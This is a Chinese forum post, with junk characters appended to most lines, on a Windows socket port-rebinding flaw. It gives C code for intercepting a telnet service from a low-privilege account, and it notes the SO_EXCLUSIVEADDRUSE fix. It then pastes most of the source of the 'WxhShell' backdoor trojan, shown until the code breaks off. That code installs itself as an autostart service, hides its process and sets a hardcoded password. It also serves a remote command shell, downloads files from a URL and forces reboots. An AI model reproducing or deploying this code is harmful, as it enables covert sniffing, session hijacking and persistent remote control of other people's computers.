社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19586阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4(Ov1a>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); VR+<v   
gXonF'  
  saddr.sin_family = AF_INET; GuGOePV  
@HRC \OG  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,ldI2 ]  
%9k!A]KD  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {cB+mh;mJ>  
aFe`_cnG  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {K4+6p  
:C}2=  
  这意味着什么?意味着可以进行如下的攻击: 2<`.#zIds  
R+nMy=I%8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。  )LJnLo+  
"t({D   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 5DXR8mLoaJ  
)I^2k4Cg"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Nc :({@I  
e1>aTu@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  t6,wjN-J  
s[K^9wz  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 RlqQ  
~by]xE1Eg  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 a 4=N9X  
Cw~RJ^a_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 uKz,SqX  
i `s|,"0o  
  #include e$u4vC~  
  #include zaFt*~@X  
  #include za:a)U^n  
  #include    yC3yij<oR  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2:BF[c`  
  int main() 3I!?e!y3(  
  { ^K7ic,{  
  WORD wVersionRequested; %.<H=!$  
  DWORD ret; )J_\tv  
  WSADATA wsaData; }w/;){gu  
  BOOL val; ~_9n.C  
  SOCKADDR_IN saddr; b{d4xU8'  
  SOCKADDR_IN scaddr; n:0}utU4  
  int err; < -uc."6\  
  SOCKET s; 'Q =7/dY3I  
  SOCKET sc; $xOI 1|d   
  int caddsize; )mJf|W!Z#  
  HANDLE mt; U9&k;`  
  DWORD tid;   ?_oF:*~\  
  wVersionRequested = MAKEWORD( 2, 2 ); 277ASCWLkU  
  err = WSAStartup( wVersionRequested, &wsaData ); UWZa|I~:J  
  if ( err != 0 ) { PN$X N<  
  printf("error!WSAStartup failed!\n"); =\,uy8HX  
  return -1; 0x11 vr!  
  } K*IxUz(  
  saddr.sin_family = AF_INET; xy8#2  
   p1D[YeF4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Xt{*N-v\  
[3W*9j  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &m {kHM  
  saddr.sin_port = htons(23); f`8OM}un&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }C  /]  
  { rZojY}dWJ  
  printf("error!socket failed!\n"); WKpA|  
  return -1; dl5=q\1=  
  } M wab!Ya  
  val = TRUE; @ct+7v~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 z305{B:Y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2/36dGFH  
  { 1AHx"e,;L  
  printf("error!setsockopt failed!\n"); p0{EQT`tMG  
  return -1; jJ3zF3Id  
  } v)f7};"z   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8ZcU[8r  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 o<l 2r  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `W `0Fwu9  
{ub/3Uh  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =s}Xy_+:  
  { _Mc>W0'5@  
  ret=GetLastError(); m ,>  
  printf("error!bind failed!\n"); J4 tcQ  
  return -1; z[#Fog  
  } 02JoA+  
  listen(s,2); Aaw(Ed  
  while(1) -$<O\5cAQ  
  { ~vgA7E/XV  
  caddsize = sizeof(scaddr); Qn:kz*:  
  //接受连接请求 [9mL $;M W  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,WWj-X|+=  
  if(sc!=INVALID_SOCKET) 7S$&S;  
  { !&] z*t  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !EF(*~r!9L  
  if(mt==NULL) u>.y:>  
  { .G>t72DpU  
  printf("Thread Creat Failed!\n"); Uh|>Skic4  
  break; ]M,06P>?  
  } *s)}Bj  
  } /&Jv,[2kV  
  CloseHandle(mt); sI 4yG  
  } $T }Tz7(  
  closesocket(s); UQd6/mD`e  
  WSACleanup(); GlR~%q-jiQ  
  return 0; xi'<y  
  }   r$nkU4N'  
  DWORD WINAPI ClientThread(LPVOID lpParam) #Ogt(5Sd  
  { =qoRS0Qa  
  SOCKET ss = (SOCKET)lpParam; |V`S >m%N  
  SOCKET sc; (TSqc5^H  
  unsigned char buf[4096]; H3 m8  
  SOCKADDR_IN saddr; @?&Wm3x9  
  long num; Rt= X% [YL  
  DWORD val; <9@7,2  
  DWORD ret; s` >H  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;Gm>O7"|@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   BSXdvI1y  
  saddr.sin_family = AF_INET; ZL%VOxYqi  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); R]b! $6Lt  
  saddr.sin_port = htons(23); &v# `t~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t]m!ee8*X<  
  { q#1X[A()  
  printf("error!socket failed!\n"); PM~*|(fA  
  return -1; 3-Y=EH_0  
  } sp8[cO=  
  val = 100; mf*Nr0L;J  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eihZp  
  { fuSq ={]  
  ret = GetLastError(); ]G1R0 Q  
  return -1; 3sC: jIp  
  } B!q?_[k,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;?im(9h"v!  
  { cS~!8`Fwy  
  ret = GetLastError(); P06 . 1  
  return -1; )y\BY8  
  } Z% Z"VoxH  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3bH5C3(u  
  { @f=RL)$|  
  printf("error!socket connect failed!\n"); 4]"w b5%  
  closesocket(sc); ]I XAucI]  
  closesocket(ss); T{ nQjYb?  
  return -1; Z}f^qc+  
  } O|(o8 VS  
  while(1) JFJIls  
  { AFtCqq#[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 W%zmD Hk~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9 d] tjT  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +QupM  
  num = recv(ss,buf,4096,0); ;Bnr=' [  
  if(num>0) U$@83?O{iM  
  send(sc,buf,num,0); [,\i[[<  
  else if(num==0) _s@bz|yqw  
  break; "0<Sd?Sz  
  num = recv(sc,buf,4096,0); p9w%kM?  
  if(num>0) |<QI%Y$dr  
  send(ss,buf,num,0); 9g+UJ\u^  
  else if(num==0) MyM+C}  
  break; Ku&*`dME  
  } J2Y 3er  
  closesocket(ss); B^Bbso'{1  
  closesocket(sc); 7zi"caY  
  return 0 ; '@S,V/jy0z  
  } UJ9q-r  
ha ik  
WkcH5[  
========================================================== T!&jFy*W  
XzN-slu!  
下边附上一个代码,,WXhSHELL S--/<a2  
y 2cL2c$BT  
========================================================== O '@m4@L   
3[iSF5%V*p  
#include "stdafx.h" )fy <P;g  
Kyyih|{  
#include <stdio.h> <?nB,U  
#include <string.h> nh?9R&  
#include <windows.h> sio)_8tp  
#include <winsock2.h> EI%M Azj}  
#include <winsvc.h> li1v 4  
#include <urlmon.h> CL EpB2_  
[}jj<!9A_;  
#pragma comment (lib, "Ws2_32.lib") Y>(ZsHu  
#pragma comment (lib, "urlmon.lib") @*bvMEE  
d?Ia#K9 3G  
#define MAX_USER   100 // 最大客户端连接数 :~WPY9i`  
#define BUF_SOCK   200 // sock buffer [vZfH!vLP  
#define KEY_BUFF   255 // 输入 buffer e~tr^$/(  
wBg<Q{J  
#define REBOOT     0   // 重启 DN4fP-m-  
#define SHUTDOWN   1   // 关机 DxE^#=7iH;  
MT;SRAmUr  
#define DEF_PORT   5000 // 监听端口 y21)~  
E \ K  
#define REG_LEN     16   // 注册表键长度 /UEV8 1  
#define SVC_LEN     80   // NT服务名长度 xn%l  
\O8Y3|<  
// 从dll定义API i6meY$l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Qs}/x[I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p?J~'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V6DBKq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^yEj]]6  
 ;'2`M  
// wxhshell配置信息 7yq7a[Ra  
struct WSCFG { ]Ssw32yn  
  int ws_port;         // 监听端口 PK:o}IWn~x  
  char ws_passstr[REG_LEN]; // 口令 %a)0?U  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8o8b'tW^  
  char ws_regname[REG_LEN]; // 注册表键名 3*X, {%  
  char ws_svcname[REG_LEN]; // 服务名 t%]^5<+X58  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~$?y1Yv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  #{)r*"%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :_{{PY0PK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i-:8TfI,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Dr8WV \4@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YJ$Vn >6Z  
y(bt56 | z  
}; A4 A6F<  
uI[-P}bSc&  
// default Wxhshell configuration Q+u#?['  
struct WSCFG wscfg={DEF_PORT, > hDsm;,/  
    "xuhuanlingzhe", tpNtoqg_$  
    1, ~7,2N.vO2  
    "Wxhshell", p,[XT`q^  
    "Wxhshell", ?'ez.a}  
            "WxhShell Service", O$<%z[  
    "Wrsky Windows CmdShell Service", !ho5VA t  
    "Please Input Your Password: ", m>*A0&??[  
  1, 8XS {6<  
  "http://www.wrsky.com/wxhshell.exe", (A]m=  
  "Wxhshell.exe" 1a=9z'8V  
    }; \CJx=[3(  
/]MB6E7&  
// 消息定义模块 #^4>U&?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Zy!)8<Cgm'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; UpszCY4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \:_.N8"  
char *msg_ws_ext="\n\rExit."; QGbD=c7  
char *msg_ws_end="\n\rQuit."; S$lmEJ_  
char *msg_ws_boot="\n\rReboot..."; [oU+b(  
char *msg_ws_poff="\n\rShutdown..."; Kt4\&l-De  
char *msg_ws_down="\n\rSave to "; JV?RgFy  
e`Zg7CaDd  
char *msg_ws_err="\n\rErr!"; Y)4Nydq  
char *msg_ws_ok="\n\rOK!"; rlO%%Qn`  
~&[P` Z$  
char ExeFile[MAX_PATH]; PkCeV]`w  
int nUser = 0; \_I)loPc8  
HANDLE handles[MAX_USER]; 5#9Wd9LP  
int OsIsNt; i[t=@^|  
n0_Az2   
SERVICE_STATUS       serviceStatus; -g[*wN8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5KH'|z  
 4Jk}/_  
// 函数声明 BWi 7v  
int Install(void); b gc<)=  
int Uninstall(void); 55\X\> 0C7  
int DownloadFile(char *sURL, SOCKET wsh); ^< /vbF  
int Boot(int flag); ?n9$,-^v  
void HideProc(void); 1uge>o&  
int GetOsVer(void); HlL@{<  
int Wxhshell(SOCKET wsl); /L|}Y242  
void TalkWithClient(void *cs);  ISnS;  
int CmdShell(SOCKET sock); ah Xq{>  
int StartFromService(void); &G,o guo  
int StartWxhshell(LPSTR lpCmdLine); [ rQ(ae  
W &wDH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;?lM|kK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z8dN0AqZ  
CG>2 ,pP,  
// 数据结构和表定义 PKM$*_LcGI  
SERVICE_TABLE_ENTRY DispatchTable[] = @[b:([  
{ +$= Wms-z  
{wscfg.ws_svcname, NTServiceMain}, :*Ggz|  
{NULL, NULL} 8m[L]6F(-z  
}; !g&B)0u]*  
}NBJ T4R  
// 自我安装 KW6" +,Th  
int Install(void) K<w5[E9V.  
{ e/Oj T  
  char svExeFile[MAX_PATH]; c3!|h1h/v  
  HKEY key; -Us% g  
  strcpy(svExeFile,ExeFile); 1&pP}v ?  
:lQjy@J  
// 如果是win9x系统,修改注册表设为自启动 +95dz?~  
if(!OsIsNt) { ;_\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h8-tbHgpb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K':pU1  
  RegCloseKey(key); ;,})VoC\!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'C>SyU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nJ#@W b@  
  RegCloseKey(key); Lm{ o=v  
  return 0; nN\XVGP,t  
    } t RyGxqiG  
  } %` [`I>  
} }R5&[hxh4t  
else { RR[TW;  
> ,Bu^] C  
// 如果是NT以上系统,安装为系统服务 <T/L.>p4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;k%sKVP  
if (schSCManager!=0) Aq]'.J =4  
{ wEc5{ b5M  
  SC_HANDLE schService = CreateService eRy'N|'  
  ( FH21mwV  
  schSCManager, Q4 :r$ &  
  wscfg.ws_svcname, Xgc\O08  
  wscfg.ws_svcdisp, ,:4w$!;  
  SERVICE_ALL_ACCESS, 4H? Ma|,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;1k0o.3  
  SERVICE_AUTO_START, lFV|GJ  
  SERVICE_ERROR_NORMAL, 0i `Zy!  
  svExeFile, W1`ZS*12D  
  NULL, q;Pz B4#  
  NULL, #R~NR8( z  
  NULL, 7Ej#7\TB]  
  NULL, 4:PP[2?  
  NULL E+Mdl*  
  ); ^ 6|"=+cO\  
  if (schService!=0) %9Fg1LH42r  
  { M%^laf  
  CloseServiceHandle(schService); [te7 uZv-  
  CloseServiceHandle(schSCManager); DkKD~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s9bP6N!,  
  strcat(svExeFile,wscfg.ws_svcname); B :.;:AEbT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZSt ww{Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); becQ5w/~  
  RegCloseKey(key); K3D $ hb  
  return 0; Li^!OHro.  
    } Tic9r i  
  } P`"DepeD  
  CloseServiceHandle(schSCManager); K!gFD  
} Y,\mrW}K   
} W)hby`k  
,jcp"-5#j  
return 1; IpmREl $j  
} h!~yYNQ"  
j=S"KVp9NF  
// 自我卸载  B4ze$#  
int Uninstall(void) ?%ntO]  
{ oP 0j>i,"&  
  HKEY key; P'~3WL4MKs  
':$a6f &T  
if(!OsIsNt) { ev >9P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y%@'a~  
  RegDeleteValue(key,wscfg.ws_regname); Bx >@HU  
  RegCloseKey(key); 7^=jv~>wP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3)\qt s5  
  RegDeleteValue(key,wscfg.ws_regname); ek!N eu>  
  RegCloseKey(key); ^yTN (\9  
  return 0; /p"R}&z  
  } a!]%@A6p  
} Yl])Q|2I  
} 9k&$bC+Q  
else { W0k q>s4  
E!M+37/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %xz02$k  
if (schSCManager!=0) ,#l oVLy  
{ {o`5&EoM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6I0MJpLW  
  if (schService!=0) yI<'J^1C[  
  { r1]^#&V;MC  
  if(DeleteService(schService)!=0) { owhht98y(  
  CloseServiceHandle(schService); ]3'd/v@fT  
  CloseServiceHandle(schSCManager); 6:pN?|=6X  
  return 0; ' M!_k+e  
  } V-3]h ba,  
  CloseServiceHandle(schService); jXf-+ ;ZQ  
  } is$d<Y&F  
  CloseServiceHandle(schSCManager); tEj5WEnNE8  
} 0 CS_-  
} ."O(Ig[  
PYe>`X?  
return 1; oL;/Qan  
} { L5m`-x  
{w++)N2sh  
// 从指定url下载文件 Wwz{98,K  
int DownloadFile(char *sURL, SOCKET wsh) edQ><lz  
{ vI@8DWs  
  HRESULT hr; mN`a]L'  
char seps[]= "/"; gNeCnf#Xa  
char *token; ~nQb;Bdh%  
char *file; 'Vd>"ti  
char myURL[MAX_PATH]; *QX$Mo^E  
char myFILE[MAX_PATH]; q,GL#L  
z$NLFJvy_-  
strcpy(myURL,sURL); ?m6E@.{  
  token=strtok(myURL,seps); `t -3(>P  
  while(token!=NULL) kAoai|m@R  
  { yT4|eHl  
    file=token; Evc 9k  
  token=strtok(NULL,seps); '};Xb|msU  
  } `W9_LROD  
2+.m44>Ti  
GetCurrentDirectory(MAX_PATH,myFILE); B06/mKZ7  
strcat(myFILE, "\\"); s5.2gu|"%  
strcat(myFILE, file); <+a\'Xc  
  send(wsh,myFILE,strlen(myFILE),0); -3fvO~  
send(wsh,"...",3,0); 5>HI/QG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >nxtQ  
  if(hr==S_OK) ]WG\+1x9  
return 0; G>Q{[m$  
else G9 !1Wzs  
return 1; 6=   
Ii)TCSt9U?  
} _ |; bh  
fKfi   
// 系统电源模块 C8?/$1|RL  
int Boot(int flag) 7G/"!ePW6`  
{ VbN]z:  
  HANDLE hToken; R1nctA:  
  TOKEN_PRIVILEGES tkp; tFGLqR%/  
{E9Y)Z9  
  if(OsIsNt) { cX*^PSM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G -;Yua2\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |y]#-T?)t  
    tkp.PrivilegeCount = 1; rg`"m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g$< @!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3Ry?{m^  
if(flag==REBOOT) { {f!mm3'2v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Rzb] mM  
  return 0; m,pDjf  
} 'K0Y@y  
else { QKVZ![Y!s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;{>z\6N  
  return 0; '{J!5x?L^  
} DzYno -]A]  
  } Cc=`:ED+  
  else { f[.]JC+,  
if(flag==REBOOT) { fD!O aK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E_xpq  
  return 0; [P[syi#]t  
} i$ Zhk1  
else { ?-(E$ll  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "xh]>_;&'  
  return 0; tUt l>>6Iu  
} r+) A)a,  
} 2lGq6Au:  
Q i?   
return 1; N&=,)d~M  
} Jk`A}  
Q tRKmry{  
// win9x进程隐藏模块 t.]oLG22r  
void HideProc(void) {dA#r>z\1  
{ ~_R=2t{u _  
JK,k@RE y]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4).q+{#k  
  if ( hKernel != NULL ) |vzGFfRI  
  { wKwireOs  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lGs fs(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R,tR{| 8  
    FreeLibrary(hKernel); Zr`:A$  
  } [ h%ci3  
@ j' I  
return; [Q)lJTs  
} r] 2}S=[  
p=eSHs{>A  
// 获取操作系统版本 KO:o GUR  
int GetOsVer(void) " >;},$  
{ rlW  
  OSVERSIONINFO winfo; I,.>tC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =`g+3 O;<  
  GetVersionEx(&winfo); l 4(-yWC$H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9QZ;F4 r  
  return 1; 'kPShZS$b  
  else N-;e" g  
  return 0; Haiuf)a  
} 7LKNEll  
_aq3G9C_  
// 客户端句柄模块 Vhv<w O Ct  
int Wxhshell(SOCKET wsl) k_$w+Q  
{ H$WuT;cTE  
  SOCKET wsh; FjVC&+c  
  struct sockaddr_in client; >OmY  
  DWORD myID; b=.Ikt+y  
@ScH"I];uA  
  while(nUser<MAX_USER) uQ. m[y  
{ 6 C;??Y>b  
  int nSize=sizeof(client); wF[^?K '  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oj[Wzeg%  
  if(wsh==INVALID_SOCKET) return 1; C%0|o/Wi  
,J~kwJ$L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u\.7#D>  
if(handles[nUser]==0) QVm3(;&'  
  closesocket(wsh); jv?`9{-  
else >kd&>)9v  
  nUser++; MW6d-  
  } 8ZE{GX.m2c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %5NfF65'  
+t})tDPXw  
  return 0; O#uTwnW  
} N)WAzH  
<9B\('  
// 关闭 socket 98x]x:mgI_  
void CloseIt(SOCKET wsh) O-@*xwD  
{ -P^ 6b(  
closesocket(wsh); ;gu_/[P  
nUser--; KAT4C 4=,  
ExitThread(0); :"#EQq]ct  
} E?m(&O j  
U5[xW  
// 客户端请求句柄 #%rXDGDS  
void TalkWithClient(void *cs) }1f@>'o  
{ RHZ5f0b4L  
06|+ _  
  SOCKET wsh=(SOCKET)cs; $z)r(N$  
  char pwd[SVC_LEN]; s+8 v7ZJ  
  char cmd[KEY_BUFF]; Ph'*s{   
char chr[1]; @2yi%_ ]h  
int i,j; zB kS1qMn  
a$y=+4L  
  while (nUser < MAX_USER) { Z_.Eale^  
C0eP/d  
if(wscfg.ws_passstr) { uW3`gwwlU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +1zCb=;!{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /p+ (_Y  
  //ZeroMemory(pwd,KEY_BUFF); (,#Rj$W  
      i=0; p,.+i[V  
  while(i<SVC_LEN) { AL74q[>  
hqd}L~o:  
  // 设置超时 Dm?>U1{   
  fd_set FdRead; z=J%-Hq>  
  struct timeval TimeOut;  c %w h  
  FD_ZERO(&FdRead);  I0trHrX9  
  FD_SET(wsh,&FdRead); $@<qaR{t\  
  TimeOut.tv_sec=8; +P2f<~  
  TimeOut.tv_usec=0; :biM}L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O:cta/M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mojD  
[HGGXgN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bt[OGa(q  
  pwd=chr[0]; MQ>.^]B]o  
  if(chr[0]==0xd || chr[0]==0xa) { 6Y<'Lyg/  
  pwd=0; t2d _XQOK  
  break; /R7qR#  
  } =LEKFXqM  
  i++; 28J ; 9  
    } WlVp|s{TYP  
ij i<+oul  
  // 如果是非法用户,关闭 socket 69AgPAv<k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZWH?=Bk:  
} %upnXRzw  
i j&_>   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9Ps[i)-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mVFz[xI  
+Gv{Apd"  
while(1) { ov>Rvy  
oxT..=-  
  ZeroMemory(cmd,KEY_BUFF); yDh(4w-~gk  
6) {jHnk)  
      // 自动支持客户端 telnet标准   /Ud<4j-  
  j=0; GjlA\R^e  
  while(j<KEY_BUFF) { kNqSBzg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C;7?TZ&xw  
  cmd[j]=chr[0]; ljg2P5  
  if(chr[0]==0xa || chr[0]==0xd) { $@k[Xh  
  cmd[j]=0; k{_ Op/k}V  
  break; wO:!B\e  
  } J-C3k`%O  
  j++; I`Goc!5t  
    } ~xI1@^ r  
wBlfQ w-N  
  // 下载文件 Z^?1MJ:`  
  if(strstr(cmd,"http://")) { :C6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =*EIe z*.x  
  if(DownloadFile(cmd,wsh)) g=w,*68vuy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wcGI2aflD  
  else Exir?G}\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lR] z8 &  
  } R  Fgy  
  else { a#H2H`%  
S |SN3)  
    switch(cmd[0]) { _ 4:@+{  
  !O=?n<Ex"  
  // 帮助 p<>x qU  
  case '?': { O^fg~g X  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;A^0="x&  
    break; 2kg<O%KA`c  
  } 6u-@_/O5R3  
  // 安装 !e~Yp0gX#  
  case 'i': { |Z%I3-z_DS  
    if(Install()) hjCFN1 #Sa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a& >(*PQ  
    else Nxk3uF^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L<'8#J[_5  
    break; R#j -Z#/"  
    } ;8WgbR)ZLU  
  // 卸载 3$Ecq|4J:  
  case 'r': { BcJ]bIbKb  
    if(Uninstall()) HI}$Z =C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /8!s C D  
    else X4<!E#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C)^FRnb  
    break; En@] xvE  
    } X8!=Xjl)  
  // 显示 wxhshell 所在路径 !]bXHT&!R  
  case 'p': { cY/!z  
    char svExeFile[MAX_PATH]; ?O1:-vpZ  
    strcpy(svExeFile,"\n\r"); )9_jr(s  
      strcat(svExeFile,ExeFile); >z0~!!YZ  
        send(wsh,svExeFile,strlen(svExeFile),0); y/' ^r?  
    break; h&|wqna  
    } z4l O  
  // 重启 q/w U7P\%  
  case 'b': { ?h`Ned0P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8J|pj4ce  
    if(Boot(REBOOT)) q|PB[*T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !\{&^,y  
